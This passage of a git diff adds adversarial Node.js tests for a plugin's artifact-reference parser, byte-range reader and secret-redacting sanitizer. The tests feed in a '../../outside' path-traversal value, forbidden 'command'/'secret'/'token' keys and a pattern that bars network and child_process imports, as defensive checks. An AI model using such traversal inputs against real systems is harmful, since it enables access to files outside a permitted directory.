Buffer.alloc(ARTIFACT_READER_MAX_RANGE_BYTES, 0x62); + await withPublished(bytes, { relative_path: longRelativePath() }, async ({ store, ref }) => { + const page = await readSanitizedArtifactV1(store, ref, { + offset: 0, max_bytes: ARTIFACT_READER_MAX_RANGE_BYTES, + }); + assertPageShape(page); + assert.equal(page.reader_clipped, true); + assert.equal(page.more, true); + assert.ok(page.selected_byte_length < ARTIFACT_READER_MAX_RANGE_BYTES); + assert.equal(page.upstream_truncated, null); + assert.equal(page.complete, null); + assert.equal(decodeSelected(page).equals(bytes.subarray(0, page.selected_byte_length)), true); + }); +}); + +test('Unicode bytes round-trip and a range may split a multibyte sequence', async () => { + const text = Buffer.from('日本語🎨 café', 'utf8'); + await withPublished(text, { + relative_path: 'runs/run-store-01/lane-日本語/note-🎨.md', + media_type: 'text/markdown', + }, async ({ store, ref }) => { + const full = await readSanitizedArtifactV1(store, ref); + assert.equal(decodeSelected(full).equals(text), true); + const split = await readSanitizedArtifactV1(store, ref, { offset: 1, max_bytes: 1 }); + assert.equal(split.selected_byte_length, 1); + assert.equal(decodeSelected(split)[0], text[1]); + }); +}); + +test('invalid UTF-8 and interior NUL bytes stay exact base64 ranges', async () => { + const binary = Buffer.from([0xff, 0xfe, 0x00, 0x01, 0x80, 0x7f]); + await withPublished(binary, { + relative_path: 'runs/run-store-01/lane-alpha/binary.bin', + media_type: 'application/octet-stream', + }, async ({ store, ref }) => { + const page = await readSanitizedArtifactV1(store, ref); + assert.equal(decodeSelected(page).equals(binary), true); + JSON.stringify(page); + }); +}); + +test('content_encoding on the ref does not reinterpret stored byte offsets', async () => { + const bytes = Buffer.from('not-really-base64-payload'); + await withPublished(bytes, { + relative_path: 'runs/run-store-01/lane-alpha/encoded.bin', + content_encoding: 'base64', + }, async ({ store, ref }) => { + const page = await readSanitizedArtifactV1(store, ref, { offset: 4, max_bytes: 7 }); + assert.equal(decodeSelected(page).equals(bytes.subarray(4, 11)), true); + assert.equal(page.selected_encoding, 'base64'); + }); +}); diff --git a/plugins/codex-co-engineer/test/r1-artifact-ref-adversarial.test.mjs b/plugins/codex-co-engineer/test/r1-artifact-ref-adversarial.test.mjs new file mode 100644 index 0000000..3c150bd --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-artifact-ref-adversarial.test.mjs @@ -0,0 +1,228 @@ +import assert from 'node:assert/strict'; +import { types as utilTypes } from 'node:util'; +import test from 'node:test'; + +import { + ARTIFACT_REF_ERROR_CODES, + MAX_ARTIFACT_REFS, + artifactRefDigestV1, + canonicalArtifactRefJsonV1, + compareArtifactRefsV1, + orderArtifactRefsV1, + parseArtifactRefV1, + verifyArtifactRefDigestV1, +} from '../mcp/v3/artifact-ref.mjs'; +import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; +import { countingProxy, secondRef, trapTotal, validRef } from './fixtures/r1-artifact-fixtures.mjs'; + +function errorOf(action, expectedPath) { + try { + action(); + } catch (error) { + assert.ok(error instanceof RunContractV1Error, `expected RunContractV1Error, got ${error}`); + if (expectedPath !== undefined) assert.equal(error.path, expectedPath); + return error; + } + assert.fail('expected a typed RunContractV1Error'); +} + +function pathError(value, expectedCode, expectedPath = 'artifact_ref.relative_path') { + const error = errorOf( + () => parseArtifactRefV1(validRef({ relative_path: value })), + expectedPath, + ); + assert.equal(error.code, expectedCode, `path ${JSON.stringify(value)}`); + return error; +} + +test('live proxies are denied with zero traps on every artifact surface', () => { + const { proxy, counts } = countingProxy(validRef()); + assert.equal(errorOf(() => parseArtifactRefV1(proxy)).code, 'proxy_denied'); + assert.equal(trapTotal(counts), 0); + + const digestCounts = countingProxy(validRef()); + assert.equal(errorOf(() => artifactRefDigestV1(digestCounts.proxy)).code, 'proxy_denied'); + assert.equal(trapTotal(digestCounts.counts), 0); + + const listCounts = countingProxy([validRef()]); + assert.equal(errorOf(() => orderArtifactRefsV1(listCounts.proxy)).code, 'proxy_denied'); + assert.equal(trapTotal(listCounts.counts), 0); + + const elementCounts = countingProxy(validRef()); + assert.equal(errorOf(() => orderArtifactRefsV1([elementCounts.proxy])).code, 'proxy_denied'); + assert.equal(trapTotal(elementCounts.counts), 0); + + const leftCounts = countingProxy(validRef()); + assert.equal(errorOf(() => compareArtifactRefsV1(leftCounts.proxy, validRef())).code, 'proxy_denied'); + assert.equal(trapTotal(leftCounts.counts), 0); +}); + +test('revoked proxies fail closed before Array.isArray or Reflect can throw', () => { + const { proxy, revoke } = Proxy.revocable(validRef(), { + get() { throw new Error('revoked get'); }, + ownKeys() { throw new Error('revoked ownKeys'); }, + getOwnPropertyDescriptor() { throw new Error('revoked descriptor'); }, + }); + revoke(); + assert.equal(utilTypes.isProxy(proxy), true); + const error = errorOf(() => parseArtifactRefV1(proxy)); + assert.equal(error.code, 'proxy_denied'); + assert.throws(() => Array.isArray(proxy), TypeError); +}); + +test('accessor properties are rejected and their getters never run', () => { + let reads = 0; + const getterRef = validRef(); + Object.defineProperty(getterRef, 'relative_path', { + enumerable: true, + get() { + reads += 1; + return 'runs/run-artifact-01/lane-alpha/diff.patch'; + }, + }); + const error = errorOf(() => parseArtifactRefV1(getterRef), 'artifact_ref.relative_path'); + assert.equal(error.code, 'accessor_property_denied'); + assert.equal(reads, 0); + + let throwingReads = 0; + const throwingRef = validRef(); + Object.defineProperty(throwingRef, 'sha256', { + enumerable: true, + get() { + throwingReads += 1; + throw new Error('getter bomb'); + }, + }); + assert.equal( + errorOf(() => parseArtifactRefV1(throwingRef)).code, + 'accessor_property_denied', + ); + assert.equal(throwingReads, 0); +}); + +test('non-enumerable fields, symbol keys, and exotic prototypes are denied', () => { + const hidden = validRef(); + Object.defineProperty(hidden, 'byte_length', { enumerable: false, value: 2048 }); + assert.equal( + errorOf(() => parseArtifactRefV1(hidden)).code, + 'non_enumerable_property_denied', + ); + + const symbolled = validRef(); + symbolled[Symbol('injected')] = 'payload'; + assert.equal(errorOf(() => parseArtifactRefV1(symbolled)).code, 'symbol_key_denied'); + + class SpoofedRef {} + const instance = new SpoofedRef(); + Object.assign(instance, validRef()); + assert.equal(errorOf(() => parseArtifactRefV1(instance)).code, 'invalid_type'); + assert.equal(errorOf(() => parseArtifactRefV1(new Map())).code, 'invalid_type'); + assert.equal(errorOf(() => parseArtifactRefV1(new Date())).code, 'invalid_type'); + + // Null-prototype data objects remain acceptable direct JSON. + const nullProto = Object.create(null); + Object.assign(nullProto, validRef()); + assert.doesNotThrow(() => parseArtifactRefV1(nullProto)); +}); + +test('own undefined values, boxed values, and coercion hooks never contribute', () => { + assert.equal( + errorOf(() => parseArtifactRefV1(validRef({ media_type: undefined }))).code, + 'own_undefined_denied', + ); + let coerced = 0; + const sneaky = { valueOf() { coerced += 1; return 2048; } }; + assert.equal( + errorOf( + () => parseArtifactRefV1(validRef({ byte_length: sneaky })), + 'artifact_ref.byte_length.valueOf', + ).code, + 'invalid_json_type', + ); + assert.equal(coerced, 0); + const boxed = validRef({ sha256: new String('a'.repeat(64)) }); + assert.equal(errorOf(() => parseArtifactRefV1(boxed)).code, 'exotic_prototype_denied'); +}); + +test('cyclic, aliased, deep, and oversized payloads are rejected before effects', () => { + const cyclic = validRef(); + cyclic.self = cyclic; + assert.equal(errorOf(() => parseArtifactRefV1(cyclic)).code, 'aliased_reference_denied'); + + const shared = { marker: true }; + const aliased = validRef(); + aliased.first = shared; + aliased.second = shared; + assert.equal(errorOf(() => parseArtifactRefV1(aliased)).code, 'aliased_reference_denied'); + + let deep = { leaf: 1 }; + for (let index = 0; index < 64; index += 1) deep = { wrapped: deep }; + const deepRef = validRef(); + deepRef.deep = deep; + assert.equal(errorOf(() => parseArtifactRefV1(deepRef)).code, 'value_depth_exceeded'); + + pathError(`${'a'.repeat(2000)}.patch`, 'out_of_range'); +}); + +test('the closure gate precedes the closed vocabulary check', () => { + const unknownButHostile = validRef(); + unknownButHostile.unknown_key = { nested: unknownButHostile }; + assert.equal(errorOf(() => parseArtifactRefV1(unknownButHostile)).code, 'aliased_reference_denied'); +}); + +test('every artifact-specific denial code stays inside the closed vocabulary', () => { + const refCodes = new Set(ARTIFACT_REF_ERROR_CODES); + for (const code of [ + 'duplicate_artifact_ref', + 'refs_exceeded', + 'unknown_artifact_kind', + 'unknown_artifact_class', + 'unknown_media_type', + 'unknown_content_encoding', + 'missing_key', + 'invalid_format', + 'invalid_type', + 'out_of_range', + ]) { + assert.ok(refCodes.has(code), code); + } +}); + +test('orderArtifactRefsV1 rejects every hostile batch shape before sorting', () => { + assert.equal(errorOf(() => orderArtifactRefsV1([validRef(), validRef()])).code, 'duplicate_artifact_ref'); + const sparse = new Array(2); + sparse[0] = validRef(); + assert.equal(errorOf(() => orderArtifactRefsV1(sparse)).code, 'invalid_array'); + const extended = [validRef()]; + extended.extraProperty = true; + assert.equal(errorOf(() => orderArtifactRefsV1(extended)).code, 'invalid_array'); + const accessorElement = validRef(); + Object.defineProperty(accessorElement, 'run_id', { enumerable: true, get() { return 'run-x'; } }); + assert.equal(errorOf(() => orderArtifactRefsV1([accessorElement])).code, 'accessor_property_denied'); + const tooMany = []; + for (let index = 0; index <= MAX_ARTIFACT_REFS; index += 1) { + tooMany.push(secondRef({ + assignment_id: `lane-${String(index).padStart(3, '0')}`, + relative_path: `runs/run-artifact-01/lane-${String(index).padStart(3, '0')}/d.patch`, + sha256: `${index.toString(16).padStart(2, '0')}`.repeat(32), + })); + } + assert.equal(tooMany.length, MAX_ARTIFACT_REFS + 1); + assert.equal(errorOf(() => orderArtifactRefsV1(tooMany)).code, 'refs_exceeded'); +}); + +test('mid-call caller mutation cannot disturb an in-flight ordering or digest', () => { + const refs = [secondRef(), validRef()]; + const orderedOnce = orderArtifactRefsV1(refs); + refs[1].byte_length = 4096; + const orderedTwice = orderArtifactRefsV1([secondRef(), validRef()]); + assert.deepEqual(orderedOnce.map((ref) => ref.assignment_id), orderedTwice.map((ref) => ref.assignment_id)); + + const input = validRef(); + const canonical = canonicalArtifactRefJsonV1(input); + const digest = artifactRefDigestV1(input).digest; + input.media_type = 'application/json'; + assert.equal(canonicalArtifactRefJsonV1(validRef()), canonical); + assert.equal(artifactRefDigestV1(validRef()).digest, digest); + assert.equal(verifyArtifactRefDigestV1(validRef(), digest), true); +}); diff --git a/plugins/codex-co-engineer/test/r1-artifact-ref.test.mjs b/plugins/codex-co-engineer/test/r1-artifact-ref.test.mjs new file mode 100644 index 0000000..7b43363 --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-artifact-ref.test.mjs @@ -0,0 +1,342 @@ +import assert from 'node:assert/strict'; +import { readFile } from 'node:fs/promises'; +import path from 'node:path'; +import test from 'node:test'; +import { fileURLToPath } from 'node:url'; + +import { + ARTIFACT_CLASSES, + ARTIFACT_DIGEST_DOMAIN, + ARTIFACT_DIGEST_HEX_LENGTH, + ARTIFACT_DIGEST_VERSION, + ARTIFACT_KINDS, + ARTIFACT_REF_DIGEST_LABEL, + ARTIFACT_REF_SCHEMA_ID, + ARTIFACT_SHA256_PATTERN, + CONTENT_ENCODINGS, + MAX_ARTIFACT_REFS, + MAX_RAW_ARTIFACT_BYTE_LENGTH, + MAX_SANITIZED_ARTIFACT_BYTE_LENGTH, + MEDIA_TYPES, + MIN_ARTIFACT_BYTE_LENGTH, + artifactRefDigestV1, + canonicalArtifactRefJsonV1, + compareArtifactRefsV1, + orderArtifactRefsV1, + parseArtifactRefV1, + validateArtifactRefV1, + verifyArtifactRefDigestV1, +} from '../mcp/v3/artifact-ref.mjs'; +import { + ARTIFACT_PATH_MAX_BYTES, + isArtifactRelativePathV1, + validateArtifactRelativePathV1, +} from '../mcp/v3/artifact-path.mjs'; +import { + CAPABILITY_ARTIFACT_KINDS, +} from '../mcp/v3/capability-bridge.mjs'; +import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; +import { secondRef, validRef } from './fixtures/r1-artifact-fixtures.mjs'; + +const HERE = path.dirname(fileURLToPath(import.meta.url)); + +function errorOf(action, expectedPath) { + try { + action(); + } catch (error) { + assert.ok(error instanceof RunContractV1Error, `expected RunContractV1Error, got ${error}`); + if (expectedPath !== undefined) assert.equal(error.path, expectedPath); + return error; + } + assert.fail('expected a typed RunContractV1Error'); +} + +test('a valid artifact reference parses into a frozen detached snapshot', () => { + const input = validRef(); + const snapshot = parseArtifactRefV1(input); + assert.equal(Object.isFrozen(snapshot), true); + assert.deepEqual(Object.keys(snapshot), [ + 'schema', 'run_id', 'assignment_id', 'artifact_kind', 'artifact_class', + 'relative_path', 'byte_length', 'sha256', 'media_type', 'content_encoding', + ]); + for (const key of Object.keys(snapshot)) { + assert.equal(snapshot[key], input[key], key); + assert.ok(Object.hasOwn(snapshot, key), key); + } + const reparsed = validateArtifactRefV1(input); + assert.notEqual(reparsed, snapshot); + assert.equal(canonicalArtifactRefJsonV1(reparsed), canonicalArtifactRefJsonV1(snapshot)); +}); + +test('parsed snapshots are detached: later caller mutation cannot drift anything', () => { + const input = validRef(); + const digest = artifactRefDigestV1(input).digest; + const snapshot = parseArtifactRefV1(input); + input.byte_length = 4096; + input.sha256 = 'f'.repeat(64); + input.relative_path = 'runs/run-artifact-01/lane-alpha/other.patch'; + assert.equal(snapshot.byte_length, 2048); + assert.equal(verifyArtifactRefDigestV1(validRef(), digest), true); + assert.notEqual(artifactRefDigestV1(input).digest, digest); + assert.throws(() => { 'use strict'; snapshot.byte_length = 1; }, TypeError); + assert.throws(() => { 'use strict'; snapshot.new_field = 1; }, TypeError); + assert.equal(Reflect.deleteProperty(snapshot, 'sha256'), false); +}); + +test('canonical JSON and digests are invariant under caller key order', () => { + const straight = validRef(); + const shuffled = validRef(); + const reordered = {}; + for (const key of Object.keys(straight).reverse()) reordered[key] = straight[key]; + Object.assign(shuffled, {}); + assert.equal(canonicalArtifactRefJsonV1(straight), canonicalArtifactRefJsonV1(reordered)); + assert.equal(artifactRefDigestV1(straight).digest, artifactRefDigestV1(reordered).digest); +}); + +test('digest descriptors carry the framed domain, version, label, and byte count', () => { + const descriptor = artifactRefDigestV1(validRef()); + assert.deepEqual(Object.keys(descriptor), [ + 'algorithm', 'domain', 'version', 'label', 'input_bytes', 'digest', + ]); + assert.equal(descriptor.algorithm, 'sha256'); + assert.equal(descriptor.domain, ARTIFACT_DIGEST_DOMAIN); + assert.equal(descriptor.version, ARTIFACT_DIGEST_VERSION); + assert.equal(descriptor.label, ARTIFACT_REF_DIGEST_LABEL); + assert.match(descriptor.digest, /^[0-9a-f]{64}$/u); + assert.equal(descriptor.input_bytes, Buffer.byteLength(canonicalArtifactRefJsonV1(validRef()), 'utf8')); + assert.equal(Object.isFrozen(descriptor), true); +}); + +test('every meaningful value change must change the digest', () => { + const baseline = artifactRefDigestV1(validRef()).digest; + const variations = [ + { run_id: 'run-artifact-02' }, + { assignment_id: 'lane-beta' }, + { artifact_kind: 'provider_report' }, + { artifact_class: 'raw' }, + { relative_path: `runs/run-artifact-01/lane-alpha/other.patch` }, + { byte_length: 2049 }, + { sha256: 'ab'.repeat(32) }, + { media_type: 'application/json' }, + { content_encoding: 'base64' }, + ]; + for (const variation of variations) { + assert.notEqual(artifactRefDigestV1(validRef(variation)).digest, baseline, JSON.stringify(variation)); + } +}); + +test('verification is exact about expected digests and never throws on malformed ones', () => { + const digest = artifactRefDigestV1(validRef()).digest; + assert.equal(verifyArtifactRefDigestV1(validRef(), digest), true); + for (const bad of [undefined, null, 12345, {}, `SHA${digest.slice(3)}`, `${digest}0`, digest.slice(1)]) { + assert.equal(verifyArtifactRefDigestV1(validRef(), bad), false); + } + assert.equal(verifyArtifactRefDigestV1(validRef({ byte_length: 9999 }), digest), false); +}); + +test('byte length bounds are class-dependent and bounded evidence stays finite', () => { + assert.equal(MIN_ARTIFACT_BYTE_LENGTH, 1); + parseArtifactRefV1(validRef({ artifact_class: 'sanitized', byte_length: MAX_SANITIZED_ARTIFACT_BYTE_LENGTH })); + errorOf( + () => parseArtifactRefV1(validRef({ + artifact_class: 'sanitized', byte_length: MAX_SANITIZED_ARTIFACT_BYTE_LENGTH + 1, + })), + 'artifact_ref.byte_length', + ).code; + parseArtifactRefV1(validRef({ artifact_class: 'raw', byte_length: MAX_RAW_ARTIFACT_BYTE_LENGTH })); + assert.equal( + errorOf(() => parseArtifactRefV1(validRef({ + artifact_class: 'raw', byte_length: MAX_RAW_ARTIFACT_BYTE_LENGTH + 1, + })), 'artifact_ref.byte_length').code, + 'out_of_range', + ); + for (const bad of [0, -1, 1.5, Number.MAX_SAFE_INTEGER + 1, '2048', null]) { + const code = errorOf(() => parseArtifactRefV1(validRef({ byte_length: bad })), 'artifact_ref.byte_length').code; + assert.ok(['invalid_type', 'out_of_range'].includes(code), `unexpected code ${code}`); + } +}); + +test('closed vocabularies are enforced exactly and stay detached', () => { + assert.deepEqual([...ARTIFACT_KINDS], [...CAPABILITY_ARTIFACT_KINDS]); + const exportsToProbe = [ + ['ARTIFACT_KINDS', ARTIFACT_KINDS], + ['ARTIFACT_CLASSES', ARTIFACT_CLASSES], + ['MEDIA_TYPES', MEDIA_TYPES], + ['CONTENT_ENCODINGS', CONTENT_ENCODINGS], + ]; + for (const [name, vocabulary] of exportsToProbe) { + assert.equal(Object.isFrozen(vocabulary), true, name); + const mutated = [...vocabulary]; + try { + vocabulary.push('bogus'); + } catch { + // Frozen arrays throw in strict mode; acceptance must not change either way. + } + assert.deepEqual([...vocabulary], mutated, name); + } + parseArtifactRefV1(validRef()); + for (const [key, values, code] of [ + ['artifact_kind', ARTIFACT_KINDS, 'unknown_artifact_kind'], + ['artifact_class', ARTIFACT_CLASSES, 'unknown_artifact_class'], + ['media_type', MEDIA_TYPES, 'unknown_media_type'], + ['content_encoding', CONTENT_ENCODINGS, 'unknown_content_encoding'], + ]) { + for (const value of values) { + assert.doesNotThrow(() => parseArtifactRefV1(validRef({ [key]: value }))); + } + for (const hostile of ['Git_Diff', 'RAW', 'text/plain ', '', 'bogus']) { + if (values.includes(hostile)) continue; + const error = errorOf( + () => parseArtifactRefV1(validRef({ [key]: hostile })), + `artifact_ref.${key}`, + ); + assert.equal(error.code, code, `${key}: ${hostile}`); + } + } +}); + +test('each of the ten keys is required with a precise missing_key denial', () => { + for (const key of [ + 'schema', 'run_id', 'assignment_id', 'artifact_kind', 'artifact_class', + 'relative_path', 'byte_length', 'sha256', 'media_type', 'content_encoding', + ]) { + const partial = validRef(); + delete partial[key]; + const error = errorOf(() => parseArtifactRefV1(partial), `artifact_ref.${key}`); + assert.equal(error.code, 'missing_key'); + } +}); + +test('unknown keys are rejected and forbidden classes keep their precise denials', () => { + assert.equal(errorOf(() => parseArtifactRefV1(validRef({ extra: 1 })), 'artifact_ref.extra').code, 'unknown_key'); + const forbidden = [ + ['command', 'executable_content_denied'], + ['env', 'executable_content_denied'], + ['secret', 'credential_content_denied'], + ['token', 'credential_content_denied'], + ['fallback', 'replay_or_fallback_denied'], + ['allow_merge', 'merge_authority_denied'], + ['depends_on', 'dependency_not_allowed'], + ]; + for (const [key, code] of forbidden) { + assert.equal(errorOf(() => parseArtifactRefV1(validRef({ [key]: 1 }))).code, code, key); + } +}); + +test('identity fields reuse the accepted manifest grammars exactly', () => { + for (const bad of ['', 'Run-Artifact', 'run_artifact', 'aa', `-run`, `${'a'.repeat(65)}`]) { + assert.equal( + errorOf(() => parseArtifactRefV1(validRef({ run_id: bad })), 'artifact_ref.run_id').code, + 'invalid_format', + bad, + ); + } + for (const bad of ['', 'Lane-Alpha', 'lane_alpha', `${'a'.repeat(65)}`]) { + assert.equal( + errorOf(() => parseArtifactRefV1(validRef({ assignment_id: bad })), 'artifact_ref.assignment_id').code, + 'invalid_format', + bad, + ); + } + for (const bad of ['A'.repeat(64), 'zz', `${'a'.repeat(63)}g`, null]) { + assert.equal( + errorOf(() => parseArtifactRefV1(validRef({ sha256: bad })), 'artifact_ref.sha256').code, + 'invalid_format', + ); + } + assert.equal(ARTIFACT_SHA256_PATTERN.test('a'.repeat(64)), true); + assert.equal(ARTIFACT_SHA256_PATTERN.test('A'.repeat(64)), false); +}); + +test('relative paths inside references flow through the strict path policy', () => { + const nested = validRef({ + relative_path: `runs/run-artifact-01/lane-alpha/evidence/provider-report.json`, + }); + parseArtifactRefV1(nested); + const descriptor = validateArtifactRelativePathV1(nested.relative_path, 'artifact_ref.relative_path'); + assert.equal(descriptor.segment_count, 5); + assert.equal(descriptor.byte_length, Buffer.byteLength(nested.relative_path, 'utf8')); + const escape = validRef({ relative_path: '../../outside/diff.patch' }); + const error = errorOf(() => parseArtifactRefV1(escape), 'artifact_ref.relative_path'); + assert.equal(error.code, 'alias_segment_denied'); + assert.equal(isArtifactRelativePathV1('../../outside/diff.patch'), false); + assert.equal(isArtifactRelativePathV1(nested.relative_path), true); + assert.equal(ARTIFACT_PATH_MAX_BYTES > 0, true); +}); + +test('compareArtifactRefsV1 fixes one deterministic total tuple order', () => { + const base = validRef(); + const other = secondRef(); + const forward = compareArtifactRefsV1(base, other); + assert.equal(forward, -compareArtifactRefsV1(other, base)); + assert.equal(compareArtifactRefsV1(base, validRef()), 0); + // assignment_id dominates everything below it; at equal identity fields + // the code-unit order of media_type decides ('application/json' sorts first). + assert.equal(compareArtifactRefsV1(base, validRef({ media_type: 'application/json' })), 1); + // artifact_class outranks artifact_kind at equal run/child. + const classOrder = compareArtifactRefsV1( + validRef({ artifact_class: 'raw' }), + validRef({ artifact_kind: 'provider_report' }), + ); + assert.equal(classOrder, -1); +}); + +test('orderArtifactRefsV1 is deterministic, duplicate-free, and bounded', () => { + const refs = []; + for (let index = 0; index < MAX_ARTIFACT_REFS; index += 1) { + refs.push(secondRef({ + assignment_id: `lane-${String(index).padStart(2, '0')}`, + relative_path: `runs/run-artifact-01/lane-${String(index).padStart(2, '0')}/diff.patch`, + })); + } + const ordered = orderArtifactRefsV1(refs); + const reshuffled = orderArtifactRefsV1([...refs].reverse()); + assert.deepEqual(JSON.parse(canonicalArtifactRefJsonV1(ordered[0])), JSON.parse(canonicalArtifactRefJsonV1(reshuffled[0]))); + assert.deepEqual(ordered.map((ref) => ref.assignment_id), reshuffled.map((ref) => ref.assignment_id)); + assert.equal(Object.isFrozen(ordered), true); + assert.ok(ordered.every((ref) => Object.isFrozen(ref))); + for (let index = 1; index < ordered.length; index += 1) { + assert.equal(compareArtifactRefsV1(ordered[index - 1], ordered[index]), -1); + } + + assert.deepEqual(orderArtifactRefsV1([]), []); + const single = orderArtifactRefsV1([secondRef()]); + assert.equal(single.length, 1); + + assert.equal( + errorOf(() => orderArtifactRefsV1([validRef(), validRef()])).code, + 'duplicate_artifact_ref', + ); + const aliasSource = validRef(); + assert.equal( + errorOf(() => orderArtifactRefsV1([aliasSource, aliasSource])).code, + 'duplicate_artifact_ref', + ); + assert.equal( + errorOf(() => orderArtifactRefsV1([...refs, validRef()])).code, + 'refs_exceeded', + ); +}); + +test('the modules are pure schema/path policy: no I/O surface and no process access', async () => { + const allowedSpecifiers = new Set([ + 'node:buffer', 'node:crypto', 'node:util', + './grammar.mjs', './run-manifest.mjs', './identity.mjs', + './artifact-path.mjs', './capability-bridge.mjs', './selection-json.mjs', + './contract.mjs', './assignment-manifest.mjs', './repo-path-matcher.mjs', + ]); + for (const relative of ['artifact-ref.mjs', 'artifact-path.mjs']) { + const source = await readFile(path.join(HERE, '..', 'mcp', 'v3', relative), 'utf8'); + const specifiers = [...source.matchAll(/from '([^']+)'/gu)].map((match) => match[1]); + assert.ok(specifiers.length >= 3, `${relative} should import its dependencies`); + for (const specifier of specifiers) { + assert.ok(allowedSpecifiers.has(specifier), `${relative} imports ${specifier}`); + } + assert.doesNotMatch(source, /node:(fs|fs\/promises|net|http|https|child_process|os|dns|tls|stream|worker_threads|process)/u); + assert.doesNotMatch(source, /\bprocess\./u); + assert.doesNotMatch(source, /\brequire\(/u); + assert.doesNotMatch(source, /\beval\(/u); + // The modules address artifacts; they must not claim that P08 storage exists. + assert.match(source, /P08/u); + } +}); diff --git a/plugins/codex-co-engineer/test/r1-artifact-sanitizer-adversarial.test.mjs b/plugins/codex-co-engineer/test/r1-artifact-sanitizer-adversarial.test.mjs new file mode 100644 index 0000000..0bc5a3f --- /dev/null +++ b/plugins/codex-co-engineer/test/r1-artifact-sanitizer-adversarial.test.mjs @@ -0,0 +1,523 @@ +import assert from 'node:assert/strict'; +import { types as utilTypes } from 'node:util'; +import test from 'node:test'; + +import { + ARTIFACT_SANITIZER_REPLACEMENT, + sanitizeAndPublishArtifactV1, +} from '../mcp/v3/artifact-sanitizer.mjs'; +import { openArtifactStoreV1 } from '../mcp/v3/artifact-store.mjs'; +import { + MAX_RAW_ARTIFACT_BYTE_LENGTH, + MAX_SANITIZED_ARTIFACT_BYTE_LENGTH, +} from '../mcp/v3/artifact-ref.mjs'; +import { RunContractV1Error } from '../mcp/v3/run-manifest.mjs'; +import { countingProxy, trapTotal } from './fixtures/r1-artifact-fixtures.mjs'; +import { + accessorIterable, + CHILD_A, + digestOf, + emptyStream, + endlessSource, + makeStoreRoot, + MALFORMED_RAW, + MALFORMED_SANITIZED, + rawRefFor, + removeRoot, + RUN_ID, + SAMPLES, + shortSource, + splitAt, + stringChunkSource, + SubclassedBytes, + throwingSource, + UNPAIRED_RAW, + UNPAIRED_SANITIZED, +} from './fixtures/r1-artifact-sanitizer-fixtures.mjs'; + +async function expectCode(action, code, expectedPath) { + try { + await action(); + } catch (error) { + assert.ok(error instanceof RunContractV1Error, `expected RunContractV1Error, got ${error}`); + if (code !== undefined) { + assert.equal(error.code, code, `expected ${code}, got ${error.code}: ${error.message}`); + } + if (expectedPath !== undefined) assert.equal(error.path, expectedPath); + return error; + } + assert.fail(`expected a typed ${code ?? 'RunContractV1Error'} failure`); +} + +function assertContentFree(error, root, bytes) { + const message = `${error.message}`; + assert.equal(message.includes(root), false, 'error echoed the store root'); + assert.equal(message.includes('ENOENT'), false, 'error echoed an errno'); + assert.equal(message.includes('EEXIST'), false, 'error echoed an errno'); + if (Buffer.isBuffer(bytes)) { + const text = bytes.toString('utf8'); + if (text.trim().length > 0) { + assert.equal(message.includes(text.trim()), false, 'error echoed artifact bytes'); + } + } + assert.equal(message.includes('sk-live-secret'), false); + assert.equal(message.includes('super-secret-value'), false); +} + +async function withStore(fn) { + const root = makeStoreRoot(); + try { + const store = await openArtifactStoreV1({ root }); + return await fn(store, root); + } finally { + removeRoot(root); + } +} + +test('every byte split of credentials, prompts, and UTF-8 is deterministic', async () => { + await withStore(async (store) => { + const cases = [ + ['credential', SAMPLES.credentialFormat], + ['bearer', SAMPLES.bearer], + ['env', SAMPLES.envAssignment], + ['url', SAMPLES.urlCredential], + ['prompt', SAMPLES.prompt], + ['astral', SAMPLES.astral], + ]; + for (const [name, sample] of cases) { + const unsplit = await sanitizeAndPublishArtifactV1(store, { + artifact_ref: rawRefFor(sample.raw, { + relative_path: `runs/${RUN_ID}/unsplit/${name}.txt`, + }), + source: sample.raw, + }); + assert.equal(unsplit.sanitized_digest, digestOf(sample.sanitized), name); + for (let offset = 0; offset <= sample.raw.byteLength; offset += 1) { + const provenance = await sanitizeAndPublishArtifactV1(store, { + artifact_ref: rawRefFor(sample.raw, { + relative_path: `runs/${RUN_ID}/splits/${name}/${offset}.txt`, + }), + source: splitAt(sample.raw, offset), + }); + assert.equal(provenance.sanitized_digest, unsplit.sanitized_digest, `${name}@${offset}`); + assert.deepEqual(provenance.redaction_counts, sample.counts, `${name}@${offset}`); + assert.equal(provenance.source_digest, digestOf(sample.raw), `${name}@${offset}`); + assert.equal(provenance.sanitized_byte_length, sample.sanitized.byteLength, `${name}@${offset}`); + } + } + }); +}); + +test('malformed and unpaired UTF-8 splits never clip and stay pinned', async () => { + await withStore(async (store) => { + const malformed = await sanitizeAndPublishArtifactV1(store, { + artifact_ref: rawRefFor(MALFORMED_RAW), + source: MALFORMED_RAW, + }); + assert.equal(malformed.sanitized_digest, digestOf(MALFORMED_SANITIZED)); + const unpaired = await sanitizeAndPublishArtifactV1(store, { + artifact_ref: rawRefFor(UNPAIRED_RAW, { + relative_path: `runs/${RUN_ID}/${CHILD_A}/unpaired.txt`, + }), + source: UNPAIRED_RAW, + }); + assert.equal(unpaired.sanitized_digest, digestOf(UNPAIRED_SANITIZED)); + for (const [label, bytes, expected] of [ + ['malformed', MALFORMED_RAW, malformed], + ['unpaired', UNPAIRED_RAW, unpaired], + ]) { + for (let offset = 0; offset <= bytes.byteLength; offset += 1) { + const provenance = await sanitizeAndPublishArtifactV1(store, { + artifact_ref: rawRefFor(bytes, { + relative_path: `runs/${RUN_ID}/unicode/${label}-${offset}.txt`, + }), + source: splitAt(bytes, offset), + }); + assert.equal(provenance.sanitized_digest, expected.sanitized_digest, `${label}@${offset}`); + } + } + }); +}); + +test('oversized, endless, huge, short, and over-declared streams fail without publication', async () => { + await withStore(async (store, root) => { + const overSanitized = Buffer.alloc(MAX_SANITIZED_ARTIFACT_BYTE_LENGTH + 1, 0x61); + const overSanitizedError = await expectCode( + () => sanitizeAndPublishArtifactV1(store, { + artifact_ref: rawRefFor(overSanitized, { + relative_path: `runs/${RUN_ID}/${CHILD_A}/over-sanitized.txt`, + }), + source: overSanitized, + }), + 'artifact_stream_over_cap', + 'sanitized', + ); + assertContentFree(overSanitizedError, root, overSanitized); + + const atRawCap = rawRefFor(Buffer.alloc(1, 0x61), { + relative_path: `runs/${RUN_ID}/${CHILD_A}/over-raw.txt`, + byte_length: MAX_RAW_ARTIFACT_BYTE_LENGTH, + sha256: 'ab'.repeat(32), + }); + const overRawError = await expectCode( + () => sanitizeAndPublishArtifactV1(store, { + artifact_ref: atRawCap, + source: Buffer.alloc(MAX_RAW_ARTIFACT_BYTE_LENGTH + 1, 0x61), + }), + 'artifact_stream_over_cap', + 'source', + ); + 